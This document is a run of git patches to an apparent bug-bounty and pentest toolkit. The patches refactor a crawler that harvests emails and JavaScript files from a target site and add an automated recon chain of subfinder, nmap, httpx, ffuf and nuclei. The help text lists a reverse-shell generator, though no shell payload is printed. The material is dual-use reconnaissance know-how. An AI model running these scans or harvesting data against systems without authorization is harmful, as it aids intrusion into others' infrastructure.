+ user_url = str(input('[+] Enter Target URL To Scan: ')) + urls = deque([user_url]) + MAX_COUNT = 5 + + scraped_urls = set() + emails = set() + javascript_files = set() + + count = 0 + + try: + ''' + main execution loop + ''' + while len(urls): + count += 1 + if count == MAX_COUNT: + break + url = urls.popleft() + scraped_urls.add(url) + + parts = urllib.parse.urlsplit(url) + base_url = '{0.scheme}://{0.netloc}'.format(parts) + + path = url[:url.rfind('/')+1] if '/' in parts.path else url + + print('[%d] Processing %s' % (count, url)) + try: + response = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): + continue + + emails = extract_emails(emails, response) + javascript_files = extract_javascript_files( + javascript_files, response) + + soup = BeautifulSoup(response.text, features="lxml") + + for anchor in soup.find_all("a"): + link = anchor.attrs['href'] if 'href' in anchor.attrs else '' + if link.startswith('/'): + link = base_url + link + elif not link.startswith('http'): + link = path + link + if not link in urls and not link in scraped_urls: + urls.append(link) + except KeyboardInterrupt: + print('[-] Closing!') + + for mail in emails: + print(mail) + for js_file in javascript_files: + print(js_file) + + if __name__ == "__main__": - def main(): - - user_url = str(input('[+] Enter Target URL To Scan: ')) - urls = deque([user_url]) - MAX_COUNT = 10 - - scraped_urls = set() - emails = set() - javascript_files = set() - - count = 0 - - try: - ''' - main execution loop - ''' - while len(urls): - count += 1 - if count == MAX_COUNT: - break - url = urls.popleft() - scraped_urls.add(url) - - parts = urllib.parse.urlsplit(url) - base_url = '{0.scheme}://{0.netloc}'.format(parts) - - path = url[:url.rfind('/')+1] if '/' in parts.path else url - - print('[%d] Processing %s' % (count, url)) - try: - response = requests.get(url) - except (requests.exceptions.MissingSchema, requests.exceptions.ConnectionError): - continue - - emails = extract_emails(emails, response) - javascript_files = extract_javascript_files( - javascript_files, response) - - soup = BeautifulSoup(response.text, features="lxml") - - for anchor in soup.find_all("a"): - link = anchor.attrs['href'] if 'href' in anchor.attrs else '' - if link.startswith('/'): - link = base_url + link - elif not link.startswith('http'): - link = path + link - if not link in urls and not link in scraped_urls: - urls.append(link) - except KeyboardInterrupt: - print('[-] Closing!') - - for mail in emails: - print(mail) - for js_file in javascript_files: - print(js_file) + proceed() From ab4c94f8146fd8e60473b0ba21f505c07b8004f5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 22 Nov 2021 19:38:49 +0000 Subject: [PATCH 045/289] [vi.py] Refactoring - split script into steps which will be performed against given url --- s0mbra.sh | 4 ---- vi.py | 38 +++++++++++++++++++++++++++++++++----- 2 files changed, 33 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 12e2d25..8eb4a0b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,10 +1,6 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### ### ### S0mbra ### -### ### - - # BugBounty/CTF/PenTest/Hacking suite # collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. # CTX: bl4de@wearehackerone.com diff --git a/vi.py b/vi.py index c1b6c4f..e856127 100644 --- a/vi.py +++ b/vi.py @@ -46,15 +46,35 @@ def extract_javascript_files(javascript_files: set, http_response: requests.Resp return javascript_files -def proceed(): +def parse_javascript_file(js_filename: str): + ''' + Parse JavaScript file for interesting stuff + ''' + TYPE = 'DEBUG' + print(f"[{TYPE}] parsing {js_filename} for interesting stuff...") + pass + +def extract(): + ''' + Performs data extraction stage + ''' + for js_filename in javascript_files: + parse_javascript_file(js_filename) + + pass + + +def recon(emails: set, javascript_files: set): + ''' + Creates list of resources; some will be proceeded later in next + steps + ''' user_url = str(input('[+] Enter Target URL To Scan: ')) urls = deque([user_url]) - MAX_COUNT = 5 + MAX_COUNT = 2 scraped_urls = set() - emails = set() - javascript_files = set() count = 0 @@ -104,4 +124,12 @@ def proceed(): if __name__ == "__main__": - proceed() + + emails = set() + javascript_files = set() + + # go through provided url; find emails, javascript files etc. + recon(emails, javascript_files) + + # extract sensitive and interesting information from what was found + extract() From 83538e2dbca570c0aafa213bec8b30c4d326bc59 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 22 Nov 2021 19:55:53 +0000 Subject: [PATCH 046/289] [vi.py] rename extract() to tear_off()... :P --- vi.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vi.py b/vi.py index e856127..096e41f 100644 --- a/vi.py +++ b/vi.py @@ -55,7 +55,7 @@ def parse_javascript_file(js_filename: str): pass -def extract(): +def tear_off(): ''' Performs data extraction stage ''' @@ -132,4 +132,4 @@ def recon(emails: set, javascript_files: set): recon(emails, javascript_files) # extract sensitive and interesting information from what was found - extract() + tear_off() From cc42fa9898d90dd4e20ad39f84a64c14944f2ee9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 30 Nov 2021 00:00:18 +0000 Subject: [PATCH 047/289] [denumerator] Batch Show/Hide by repsonse type (2xx/3xx/4xx/5xx) --- denumerator/denumerator.py | 43 +++++++++++++++++++++++++++++++++----- s0mbra.sh | 2 +- 2 files changed, 39 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index ff05484..d907ead 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -140,6 +140,14 @@ def create_output_header(html_output): background-color: #f9f9db; } + TR.visible { + display: block; + } + + TR.hidden { + display: none; + } + A.toggle { margin-left:30px; font-size: 18px; @@ -193,15 +201,39 @@ def create_output_header(html_output): }); } } + + + function showOnly(className, evtTarget = null) { + const elements = document.getElementsByClassName(className); + if (elements.length > 0) { + [].forEach.call(elements, element => { + if (element.classList.contains('hidden')) { + element.classList.remove('hidden'); + element.classList.add('visible'); + if (evtTarget) { + evtTarget.classList.remove('off'); + evtTarget.classList.add('on'); + } + } else { + element.classList.remove('visible'); + element.classList.add('hidden'); + if (evtTarget) { + evtTarget.classList.remove('on'); + evtTarget.classList.add('off'); + } + } + }); + } + } @@ -269,7 +301,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ element_class_name_iterator += 1 html = """ - +

HTTP Response Status: {} @@ -296,6 +328,7 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ """.format( + (http_status_code//100), http_status_code_color, element_class_name, http_status_code, diff --git a/s0mbra.sh b/s0mbra.sh index 8eb4a0b..371e011 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -578,7 +578,7 @@ case "$cmd" in echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" From 0a8f49476917030670c6161d6e75be724ff596b3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Dec 2021 21:37:27 +0000 Subject: [PATCH 048/289] [s0mbra] Added httpx wrapper to RECON tools --- denumerator/denumerator.py | 2 +- enumeratescope.sh | 3 ++- s0mbra.sh | 12 +++++++++++- 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index d907ead..70ad1e6 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -487,7 +487,7 @@ def main(): "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole eenumeration A LOT, so be warned!)", default=100 + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", default=100 ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 diff --git a/enumeratescope.sh b/enumeratescope.sh index 864cc66..0e49ed9 100755 --- a/enumeratescope.sh +++ b/enumeratescope.sh @@ -52,7 +52,8 @@ create_list_of_domains() { run_denumerator() { echo $1 echo -e "$(date) denumerator started" >> subdomain_enum.log - denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log + # denumerator -f domains/final -c 200,403,500,301,302,304,404,206,405,411,415,422 --dir $1 --output __$1.log + denumerator -f domains/final -c 200,403,500,206,405,411,415,422 --dir $1 --output __$1.log echo -e "$(date) denumerator finished" >> subdomain_enum.log echo -e "$(date) total webservers enumerated and saved to report: $(ls -l reports/$1 | wc -l)" >> subdomain_enum.log } diff --git a/s0mbra.sh b/s0mbra.sh index 371e011..4d7dcc2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -237,11 +237,17 @@ nfs_enum() { # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file..." + echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file...$CLR\n" enumeratescope $1 $2 echo -e "\n[+] Done." } +htpx() { + echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file...$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 + echo -e "\n[+] Done." +} + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -465,6 +471,9 @@ case "$cmd" in subdomenum) subdomenum "$2" "$3" ;; + htpx) + htpx "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -550,6 +559,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] $CLR\t\t\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" From 1f54c34483c9f48261e1eb2de5ef2596c1a252b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Dec 2021 23:27:09 +0000 Subject: [PATCH 049/289] [s0mbra] refactoring - remove unused stuff --- s0mbra.sh | 68 ++++--------------------------------------------------- 1 file changed, 5 insertions(+), 63 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4d7dcc2..c92609b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -142,24 +142,6 @@ javascript_sca() { echo -e "\n\n[+]Done." } -# exposes folder with Linux PrivEsc tools on localhost:9119 -privesc_tools_linux() { - cd "$HACKING_HOME"/tools/Linux-tools || exit - echo -e "$BLUE[+] Available tools:$CLR" - tree -L 2 . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http 9119 -} - -# exposes folder with Windows PrivEsc tools on localhost:9119 -privesc_tools_windows() { - cd "$HACKING_HOME"/tools/Windows || exit - echo -e "$BLUE[+] Available tools:$CLR" - ls -lR . - echo -e "$BLUE[+] Starting HTTP server on port 9119...$CLR" - http 9119 -} - # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { if [[ -z $2 ]]; then @@ -243,8 +225,8 @@ subdomenum() { } htpx() { - echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file...$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 + echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 echo -e "\n[+] Done." } @@ -424,30 +406,6 @@ generate_shells() { echo -e "$NEWLINE" } -php7() { - echo -e "$BLUE[+] Switching PHP version to 7.x ...\n$YELLOW" - brew unlink php@8.0 && brew link --force php@7.4 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php7 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" -} - -php8() { - echo -e "$BLUE[+] Switching PHP version to 8.x ...\n$YELLOW" - brew unlink php@7.4 && brew link --force php@8.0 - echo -e "$BLUE[+] Changing httpd.conf...$YELLOW" - sudo cp /private/etc/apache2/httpd.conf.php8 /private/etc/apache2/httpd.conf - echo -e "$BLUE[+] Restarting Apache...$YELLOW" - sudo apachectl -k restart - echo -e "$BLUE[+] All done, current PHP version is:\n$GREEN" - php -v - echo -e "$CLR" -} - pwn() { echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } @@ -459,12 +417,6 @@ case "$cmd" in pwn) pwn "$2" ;; - php7) - php7 - ;; - php8) - php8 - ;; set_ip) set_ip "$2" ;; @@ -516,12 +468,6 @@ case "$cmd" in decompile_jar) decompile_jar "$2" ;; - privesc_tools_linux) - privesc_tools_linux - ;; - privesc_tools_windows) - privesc_tools_windows - ;; smb_enum) smb_enum "$2" "$3" "$4" ;; @@ -559,7 +505,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" - echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] $CLR\t\t\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" + echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" @@ -569,8 +515,6 @@ case "$cmd" in echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\t$CYAN privesc_tools_linux $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Linux PrivEsc tools" - echo -e "\t$CYAN privesc_tools_windows $CLR\t\t\t\t -> runs HTTP server on port 9119 in directory with Windows PrivEsc tools" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$BLUE:: SMB SUITE ::$CLR" echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" @@ -593,10 +537,8 @@ case "$cmd" in echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" - echo -e "$BLUE:: MISC ::$CLR" - echo -e "\t$CYAN php7 $CLR\t\t\t\t\t\t -> switch PHP to version 7.x" - echo -e "\t$CYAN php8 $CLR\t\t\t\t\t\t -> switch PHP to version 8.x" - echo -e "\n\n--------------------------------------------------------------------------------------------------------------" + + echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" ;; esac From 950074e849bc5bcff7fb4856e0ec79f8c6a7640e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Dec 2021 11:57:09 +0000 Subject: [PATCH 050/289] [s0mbra] quick recon option - subfinder+nmap+httpx+ffuf --- s0mbra.sh | 48 +++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index c92609b..a1195f6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,6 +230,40 @@ htpx() { echo -e "\n[+] Done." } +recon() { + TMPDIR=$(pwd) + START_TIME=$(date) + echo -e "$BLUE[+] Running quick, dirty recon on $1 domain(s) file: subfinder + httpx + ffuf on 200 OK...$CLR\n" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # nmap + echo -e "\n$GREEN--> nmap$CLR\n" + nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + + # ffuf + echo -e "\n$GREEN--> ffuf$CLR\n" + for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); + do + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500; + done + + END_TIME=$(date) + echo -e "\n$GREEN[+] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" + echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" + echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" + echo -e "\n$BLUE[+] Done." +} # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -349,18 +383,18 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,422,500...$CLR" + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,301,302,403,422,500...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" fi else - ffuf -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } @@ -368,7 +402,7 @@ fu() { fufu() { clear echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" - ffuf -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" echo -e "$BLUE\n[+] Done! $CLR" } @@ -426,6 +460,9 @@ case "$cmd" in htpx) htpx "$2" ;; + recon) + recon "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -504,6 +541,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + httpx on DOMAIN" echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 10cedeaa5ad052a025681024bb8c66d2d36605b6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Dec 2021 19:22:22 +0000 Subject: [PATCH 051/289] [s0mbra] Add custom headers required by some HackerOne private programs --- s0mbra.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1195f6..51ee8fc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -245,14 +245,14 @@ recon() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp # ffuf echo -e "\n$GREEN--> ffuf$CLR\n" for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); do - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500; + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; done END_TIME=$(date) @@ -388,13 +388,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } From b0111b2dfeba1701e0fc3d9e28edd46a3374e721 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 11:44:30 +0000 Subject: [PATCH 052/289] [s0mbra] recon - added nuclei, small refactoring; removed obsolete features --- s0mbra.sh | 26 ++++++++++---------------- 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 51ee8fc..f921e13 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -216,31 +216,26 @@ nfs_enum() { echo -e "\n[+] Done." } -# if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available -# we can enumerate nfs shares available: -subdomenum() { - echo -e "$BLUE[+] Running subdomain enumeration and HTTP(S) web servers discovery on $1 scope file...$CLR\n" - enumeratescope $1 $2 - echo -e "\n[+] Done." -} - +# executes httpx on the list of host(s) htpx() { echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 echo -e "\n[+] Done." } +# automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) + ITERATOR=1 START_TIME=$(date) - echo -e "$BLUE[+] Running quick, dirty recon on $1 domain(s) file: subfinder + httpx + ffuf on 200 OK...$CLR\n" + echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap - echo -e "\n$GREEN--> nmap$CLR\n" + echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx @@ -248,11 +243,13 @@ recon() { httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp # ffuf - echo -e "\n$GREEN--> ffuf$CLR\n" + echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); do ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; + nuclei -v -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log + ITERATOR=$(( $ITERATOR+1 )) done END_TIME=$(date) @@ -264,6 +261,7 @@ recon() { echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" echo -e "\n$BLUE[+] Done." } + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -454,9 +452,6 @@ case "$cmd" in set_ip) set_ip "$2" ;; - subdomenum) - subdomenum "$2" "$3" - ;; htpx) htpx "$2" ;; @@ -541,8 +536,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + httpx on DOMAIN" - echo -e "\t$CYAN subdomenum $GRAY[SCOPE_FILE] [OUTPUT_DIR]$CLR\t\t -> full scope subdomain enumeration + HTTP(S) denumerator on all identified domains" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports 